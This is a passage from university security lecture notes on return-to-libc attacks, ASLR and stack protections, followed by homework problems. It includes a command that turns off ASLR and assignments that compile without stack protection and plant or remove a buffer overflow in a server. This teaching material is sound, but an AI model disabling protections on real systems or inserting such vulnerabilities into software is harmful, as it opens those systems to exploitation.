Computer and Network Security by Avi Kak Lecture 21

• For nonexecutable stacks, there is another type of a buffer

overflow attack known as the “return-to-libc attack” in which
the return address in a stackframe is replaced by the address of
a library function that is already in the address space of the
process.

• However note that designing a buffer overflow string input for a

return-to-libc attack is difficult when ASLR (Address Space
Layout Randomization) is used as a general defense against
buffer overflow attacks. ASLR means that when a module or a
library file like libc is loaded into a running process at run
time, its addresses are shifted by a random number. This
random number changes each time you execute a program
since the process spawned for running the program will use a
newly generated value for the random number each time.

• ASLR makes it virtually impossible to associate a fixed process

memory address with the standard functions in, say, the libc
library. ASLR is turned on by default in many versions of
Linux, in OS X, and in Android. If you want to play with
creating exploits based on return-to-libc, you will first need to
turn off ASLR. I believe you can do that with a command like
the following in Linux:
sudo sysctl -w kernel.randomize_va_space=0

66
Computer and Network Security by Avi Kak Lecture 21

• ASLR requires the compiler to produce what is known as

position-independent code.

• I should also mention it is easier to create buffer overflow

exploits if you use PEDA enabled GDB. PEDA stands for
Python Exploit Development Assistance for GDB. [Download the
source directory for PEDA from GitHub in any of your directories and unzip it. After that all you have to is

to place a pointer to the peda.py file in your “~

/.gdbinit file in your HOME directory. Finally, when you run

a command like “gdb buffover4”, enter “help” to see different classes of commands you get with peda, and

“phelp” to see a list of peda subcommands. A command like “p bar” directly gives you the address of the

entry point into the function bar(). By the way, you should be able to execute all of the normal GDB

commands under PEDA. ]

• For further information on PEDA, see Long Le’s BlackHat 2012

tutorial presentation entitled “Linux Interactive Exploit
Development with GDB and PEDA” that you can find by
Googling.

• Making the stack nonexecutable and ASLR strategies as

defenses against buffer overflow attacks are in addition to the
use of canaries and the rearranging of the variables in the
stackframes that I previously talked about in Section 21.4.1.

67
Computer and Network Security by Avi Kak Lecture 21

Back to TOC

21.9 HOMEWORK PROBLEMS

1. In IANA port assignment table, we have “Well Known Ports,”

“Registered Ports,” and “Dynamic/Private Ports.” What do
these categories of ports mean to you? What is IANA?

2. Is it possible to cause buffer overflows in the heap?

3. Any differences between the terms “stack,” “run-time stack,”

“call stack,” “control stack,” and “execution stack?”

4. What is the difference between a process and function

execution? Why do we need the concept of a process in a
computer?

5. What is the relationship between a “call stack” and the “stack

frames” that found in a call stack?

6. Where does the stack pointer point to in a call stack? What

about the base pointer and the instruction pointer?

68
Computer and Network Security by Avi Kak Lecture 21

7. Programming Assignment:

The goal of this assignment is to give you a deeper

understanding of buffer overflow attack. You are provided with
two socket programs in C. One of them acts as a server and the
other as a client. Your homework consists of testing whether the
server is vulnerable to buffer overflow attack. If not, modify the
server to create such a vulnerability. If yes, modify the server to
eliminate the vulnerability.
• Compile the server and the client programs using either gcc
or tcc on your Linux machine. If you use gcc, make sure
you give it the option “-fno-stack-protector” as explained in
Section 21.7 of this lecture.
• Test the programs with two different shell terminals on your
laptop — one for the server and the other for the client. You
can also run the server on a Purdue ECN machine using a
high numbered port like 7777 and the client on your own
laptop.
• Now try to figure out whether the server is vulnerable to the
buffer overflow attack.
• Modify the server program as necessary and explain your
modifications in detail.

8. Programming Assignment:

Using the program buffover4.c as an example, Section 21.8

shows how you can design a program input string for
69
Computer and Network Security by Avi Kak Lecture 21

overwriting the return address in the stackframe of the function

that possesses buffer overflow vulnerability. The input string we
designed in that section succeeded in steering at run time the
flow of execution into the function bar(). However, eventually,
we ended up in a program crash caused by a segfault. This
programming assignment consists of you writing your own C
program that, instead of using strcpy(), uses getchar() to
write into a buffer that has insufficient memory allocated to it.
Now show how you can directly overwrite the return address in
a stackframe without also overwriting the locations pointed to
by the frame pointer and other registers.

70